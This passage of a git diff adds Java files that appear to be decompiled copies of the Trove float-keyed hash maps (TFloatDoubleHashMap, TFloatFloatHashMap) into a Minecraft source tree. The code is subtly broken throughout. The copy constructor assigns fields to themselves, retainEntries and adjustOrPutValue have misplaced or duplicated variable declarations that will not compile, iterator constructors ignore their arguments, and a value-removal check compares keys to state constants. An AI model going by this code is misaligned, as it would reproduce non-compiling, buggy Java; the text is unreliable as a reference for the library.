+
+    public boolean remove(float entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!TFloatDoubleHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TFloatSet)) {
+        return false;
+      }
+      TFloatSet that = (TFloatSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TDoubleCollection
+  {
+    protected TValueView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TFloatDoubleHashMap.TFloatDoubleValueHashIterator(TFloatDoubleHashMap.this, TFloatDoubleHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return values();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      double[] values = _values;
+      float[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0F) && (set[i] != 2.0F) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TFloatDoubleKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatIterator
+  {
+    TFloatDoubleKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public float next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TFloatDoubleValueHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TFloatDoubleValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TFloatDoubleHashIterator
+    extends THashPrimitiveIterator
+    implements TFloatDoubleIterator
+  {
+    TFloatDoubleHashIterator(TFloatDoubleHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public float key()
+    {
+      return _set[_index];
+    }
+    
+    public double value()
+    {
+      return _values[_index];
+    }
+    
+    public double setValue(double val)
+    {
+      double old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TFloatDoubleMap)) {
+      return false;
+    }
+    TFloatDoubleMap that = (TFloatDoubleMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    double[] values = _values;
+    byte[] states = _states;
+    double this_no_entry_value = getNoEntryValue();
+    double that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        float key = _set[i];
+        double that_value = that.get(key);
+        double this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TFloatDoubleProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(float key, double value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeFloat(_set[i]);
+        out.writeDouble(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      float key = in.readFloat();
+      double val = in.readDouble();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TFloatFloatHashMap.java b/src/minecraft/gnu/trove/map/hash/TFloatFloatHashMap.java
new file mode 100644
index 0000000..07b7d40
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TFloatFloatHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TFloatFloatHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TFloatFloatIterator;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.map.TFloatFloatMap;
+import gnu.trove.procedure.TFloatFloatProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatFloatHashMap
+  extends TFloatFloatHash
+  implements TFloatFloatMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient float[] _values;
+  
+  public TFloatFloatHashMap() {}
+  
+  public TFloatFloatHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatFloatHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TFloatFloatHashMap(int initialCapacity, float loadFactor, float noEntryKey, float noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TFloatFloatHashMap(float[] keys, float[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TFloatFloatHashMap(TFloatFloatMap map)
+  {
+    super(map.size());
+    if ((map instanceof TFloatFloatHashMap)) {
+      TFloatFloatHashMap hashmap = (TFloatFloatHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0F) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0F) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    float[] oldKeys = _set;
+    float[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new float[newCapacity];
+    _values = new float[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        float o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public float put(float key, float value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public float putIfAbsent(float key, float value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private float doPut(float key, float value, int index)
+  {
+    float previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Float, ? extends Float> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Float, ? extends Float> entry : map.entrySet()) {
+      put(((Float)entry.getKey()).floatValue(), ((Float)entry.getValue()).floatValue());
+    }
+  }
+  
+
+  public void putAll(TFloatFloatMap map)
+  {
+    ensureCapacity(map.size());
+    TFloatFloatIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public float get(float key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public float remove(float key)
+  {
+    float prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TFloatSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public float[] keys()
+  {
+    float[] keys = new float[size()];
+    float[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public float[] keys(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TFloatCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public float[] values()
+  {
+    float[] vals = new float[size()];
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public float[] values(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(float val)
+  {
+    byte[] states = _states;
+    float[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(float key)
+  {
+    return contains(key);
+  }
+  
+
+  public TFloatFloatIterator iterator()
+  {
+    return new TFloatFloatHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TFloatProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TFloatFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] keys = _set;
+    float[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TFloatFunction function)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TFloatFloatProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    float[] keys = _set;
+    float[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(float key)
+  {
+    return adjustValue(key, 1.0F);
+  }
+  
+
+  public boolean adjustValue(float key, float amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public float adjustOrPutValue(float key, float adjust_amount, float put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    float newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      float newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TFloatSet
+  {
+    protected TKeyView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TFloatFloatHashMap.TFloatFloatKeyHashIterator(TFloatFloatHashMap.this, TFloatFloatHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return TFloatFloatHashMap.this.contains(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(float entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!TFloatFloatHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TFloatFloatHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TFloatSet)) {
+        return false;
+      }
+      TFloatSet that = (TFloatSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TFloatCollection
+  {
+    protected TValueView() {}
+    
+    public TFloatIterator iterator()
+    {
+      return new TFloatFloatHashMap.TFloatFloatValueHashIterator(TFloatFloatHashMap.this, TFloatFloatHashMap.this);
+    }
+    
+
+    public float getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(float entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public float[] toArray()
+    {
+      return values();
+    }
+    
+
+    public float[] toArray(float[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(float entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(float entry)
+    {
+      float[] values = _values;
+      float[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0F) && (set[i] != 2.0F) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
